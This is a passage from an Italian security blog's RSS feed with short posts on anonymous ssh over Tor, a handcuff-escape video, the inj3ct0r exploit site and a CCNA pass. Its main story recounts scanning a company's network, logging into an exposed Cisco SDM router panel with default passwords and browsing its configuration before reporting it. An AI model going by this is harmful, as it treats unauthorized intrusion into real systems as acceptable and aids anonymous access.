<p>Una via speculare potrebbe essere quella del programma connect, disponibile su ubuntu e debian come <strong>connect-proxy</strong>:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ ssh -o ProxyCommand=&quot;/usr/bin/connect -S 127.0.0.1:9050 %h %p&quot; root@a.b.c.d</pre></div></div>

<p>Ulteriori riferimenti: <a href="http://psylocibe.noblogs.org/post/2008/07/15/come-aprire-una-connessione-anonima-verso-un-server-con-ssh-e-tor">qui</a><br />
<br />
Alla prossima <img src='http://manzotti.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/ssh-anonimo-via-tor/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Escape from Handcuffs</title>
		<link>http://manzotti.eu/how-to-escape-from-handcuffs</link>
		<comments>http://manzotti.eu/how-to-escape-from-handcuffs#comments</comments>
		<pubDate>Wed, 26 Aug 2009 09:53:23 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[escape]]></category>
		<category><![CDATA[handcuffs]]></category>
		<category><![CDATA[liberare]]></category>
		<category><![CDATA[manette]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1443</guid>
		<description><![CDATA[Su youtube si trova veramente di tutto e anche se l&#8217;inglese non è il vostro forte&#8230;

]]></description>
			<content:encoded><![CDATA[<p>Su youtube si trova veramente di tutto e anche se l&#8217;inglese non è il vostro forte&#8230;</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/kXeamc7e31c&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x2b405b&amp;color2=0x6b8ab6" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/kXeamc7e31c&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x2b405b&amp;color2=0x6b8ab6" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/how-to-escape-from-handcuffs/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>milw0rm.com is dead, inj3ct0r.com is born!</title>
		<link>http://manzotti.eu/milw0rm-com-is-dead-inj3ct0r-com-is-born</link>
		<comments>http://manzotti.eu/milw0rm-com-is-dead-inj3ct0r-com-is-born#comments</comments>
		<pubDate>Fri, 21 Aug 2009 13:02:24 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[inj3ct0r]]></category>
		<category><![CDATA[milw0rm]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1436</guid>
		<description><![CDATA[
Che sia la volta buona? Morto un papa se ne fa un altro&#8230; Morto milw0rm.com ecco inj3ct0r.com  
Update PPL!
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://inj3ct0r.com/"><img class="alignnone" title="inspector" src="http://farm3.static.flickr.com/2593/3841913705_2c1f27331e_o.png" alt="" width="445" height="101" /></a></p>
<p>Che sia la volta buona? Morto un papa se ne fa un altro&#8230; Morto milw0rm.com ecco <a href="http://inj3ct0r.com">inj3ct0r.com</a> <img src='http://manzotti.eu/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Update PPL!</p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/milw0rm-com-is-dead-inj3ct0r-com-is-born/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Il giovane Hacker</title>
		<link>http://manzotti.eu/il-giovane-hacker</link>
		<comments>http://manzotti.eu/il-giovane-hacker#comments</comments>
		<pubDate>Tue, 21 Jul 2009 00:26:06 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[giovane]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[sdm]]></category>
		<category><![CDATA[storia]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1343</guid>
		<description><![CDATA[Come ogni sera, dopo aver cenato, si recò nella propria stanza e dopo aver fatto il login nel pc si collegò al proprio indirizzo di posta elettronica. Un&#8217;operazione quotidiana che il giovane hacker era solito compiere tutte le sere, quando ad un certo punto la sua attenzione cadde su un&#8217;email.
Il messaggio in sè non destava [...]]]></description>
			<content:encoded><![CDATA[<p>Come ogni sera, dopo aver cenato, si recò nella propria stanza e dopo aver fatto il login nel pc si collegò al proprio indirizzo di posta elettronica. Un&#8217;operazione quotidiana che il giovane hacker era solito compiere tutte le sere, quando ad un certo punto la sua attenzione cadde su un&#8217;email.<br />
Il messaggio in sè non destava particolare interesse, ma la firma riportata in fondo presentava il nome di una grande società. Una società che egli riconobbe essere importante dalle tre semplice lettere, esse pi ed a, che trovavano spazio a fianco alla ragione sociale.</p>
<p>Il giovane hacker è una persona fortemente curiosa e così anche quella sera non si smentì cercando in rete il sito della società. Dopo aver scartato un paio di voci su google egli era già sul sito, alle prese con una form per l&#8217;autenticazione ad un accesso riservato del mail server. Immediatamente capì che il sito era uppato su un servizio di hosting mentre il mail server faceva parte di un&#8217;altra rete: quella aziendale! Il giovane hacker ci mise un secondo per individuare la classe di indirizzi associata all&#8217;ip appena trovato e visto che ne comprendeva poco più di una 20ina decise di lanciare una scansione. Sapeva che sarebbe stato poco utile e soprattutto legale lanciarla su tutte le porte note, così si limitò alle sole 80 e 443. L&#8217;output del noto nmap riportava una decina di ip aventi la porta 80 aperta! Egli non seppe resistere e al primo ip della lista lanciò una connect&#8230;</p>
<p>Quello che si presentò agli occhi del ragazzo fu l&#8217;SDM della cisco, un&#8217;interfaccia java utilizzata per la configurazione di IOS. Tuttavia notò anche qualche problema di incompatibilità di versione tra firefox, java e l&#8217; SDM. Così si affidò di nuovo alla rete e trovò una <a href="http://www.howtonetworking.com/cisco/sdm1.htm">guida</a> indicante la versione correta della <a href="https://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/ViewProductDetail-Start?ProductRef=java_ee_sdk-5_01-oth-JPR@CDS-CDS_Developer">SDK</a> da installare. Il giovane hacker, dopo aver scaricato e installato, riavviò la propria macchina su windows e da internet explorer si collegò all&#8217;indirizzo precedemente trovato: si trovò così di fronte al pannello di autenticazione della SDM!</p>
<p>Ancora una volta la rete fu l&#8217;unica fonte su cui poter trovare informazioni. Il giovane hacker cercò una <a href="http://www.routerpasswords.com">lista di password</a> di default relative alla versione di IOS individuata. Egli fece uno, due, tre tentavi quando al quarto non volle credere ai proprio occhi, ma la clessidra di IE stava caricando!</p>
<p style="text-align: center;">
<a href="http://farm3.static.flickr.com/2466/3741191714_4a32cf5e8f_o.jpg"><img class="aligncenter" title="sdm" src="http://farm3.static.flickr.com/2466/3741191714_4a32cf5e8f_o.jpg" alt="sdm" width="458" height="398" /></a></p>
<p>Ecco lo spettacolo che si trovò di fronte:</p>
<p style="text-align: center;">
<a href="http://farm3.static.flickr.com/2649/3740399633_9814ba644e_o.jpg"><img class="alignnone" title="cisco1" src="http://farm3.static.flickr.com/2649/3740399633_358d99cdb9.jpg" alt="cisco1" width="500" height="391" /></a></p>
<p>Una rapida overview della situazione:</p>
<p style="text-align: center;">
<a href="http://farm4.static.flickr.com/3459/3740399771_262024d8da_o.jpg"><img alt="cisco2" src="http://farm4.static.flickr.com/3459/3740399771_15aa9e1928.jpg" title="cisco2" class="alignnone" width="500" height="405" /></a></p>
<p>Una analisi sul traffico di rete (notò basso traffico):</p>
<p style="text-align: center;">
<a href="http://farm4.static.flickr.com/3455/3740399941_8034e6036f_o.jpg"><img alt="cisco3" src="http://farm4.static.flickr.com/3455/3740399941_3c0edbdbe1.jpg" title="cisco3" class="alignnone" width="500" height="400" /></a></p>
<p>Tutto il bel <u>runninig-config</u>!!!</p>
<p style="text-align: center;">
<a href="http://farm4.static.flickr.com/3492/3740400105_3925b3f03a_o.jpg"><img alt="cisco4" src="http://farm4.static.flickr.com/3492/3740400105_de660af273.jpg" title="cisco4" class="alignnone" width="500" height="401" /></a></p>
<p>&#8230;e perchè no&#8230;. le ACL!!!</p>
<p style="text-align: center;">
<a href="http://farm3.static.flickr.com/2645/3740400269_17e15b1806_o.jpg"><img alt="cisco5" src="http://farm3.static.flickr.com/2645/3740400269_92f247a7b3.jpg" title="cisco5" class="alignnone" width="500" height="401" /></a></p>
<p><br/><br />
&#8220;<em>Bene, non rimane che mettere uno sniffer di rete</em>&#8221; pensò il giovane hacker per impadronirsi di tutto ciò che transita nella rete (come <u>password</u>, <u>email</u>, <u>credenziali</u> ecc). Ma dopo il primo momento di euforia egli capì che era arrivata l&#8217;ora di fermarsi. Il giovane hacker fondamentalmente è una persona eticamente corretta e decise l&#8217;indomani di notificare l&#8217;amministratore di rete.<br />
<br />
~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o ~ o<br />
<br />
Da allora sono circa passati due mesi, ma il giovane hacker non ebbe risposta. Fu per questo motivo che decise di pubblicare la propria scoperta sul suo sito: magari non sarà proprio quell&#8217;amministratore di rete a leggere questo post ma almeno vuole far capire ai restanti che <strong><u>investire nella security non è costo ma una sana necessità</u>!</strong><br />
<br />
Alla prossima! <img src='http://manzotti.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/il-giovane-hacker/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CCNA Passed!</title>
		<link>http://manzotti.eu/ccna-passed</link>
		<comments>http://manzotti.eu/ccna-passed#comments</comments>
		<pubDate>Thu, 25 Jun 2009 13:08:49 +0000</pubDate>
		<dc:creator>manzotti</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[ccna]]></category>
		<category><![CDATA[certificazione]]></category>
		<category><![CDATA[cisco]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1110</guid>
		<description><![CDATA[

Finalmente è arrivata anche questa di certificazione: CCNA.
Ora un po&#8217; di vacanza ci sta tutta. Credo proprio di ritornare nelle bellissime spiaggie calabresi&#8230; mare e relax non vedo proprio l&#8217;ora!

Presto saranno pubblicati i miei appunti, sperando che siano utili a qualcun altro.
Alla prossima  
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://www.cisco.com/web/fw/i/logo.gif"><img class="center aligncenter" title="Cisco" src="http://www.cisco.com/web/fw/i/logo.gif" alt="Cisco" width="110" height="73" /></a></p>
<p>
Finalmente è arrivata anche questa di certificazione: <strong><span style="text-decoration: underline;"><a href="http://www.cisco.com/web/learning/le3/le2/le0/le9/learning_certification_type_home.html">CCNA</a></span></strong>.<br />
Ora un po&#8217; di vacanza ci sta tutta. Credo proprio di ritornare nelle bellissime spiaggie calabresi&#8230; mare e relax non vedo proprio l&#8217;ora!<br />
<br />
Presto saranno pubblicati i miei appunti, sperando che siano utili a qualcun altro.<br />
Alla prossima <img src='http://manzotti.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://manzotti.eu/ccna-passed/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
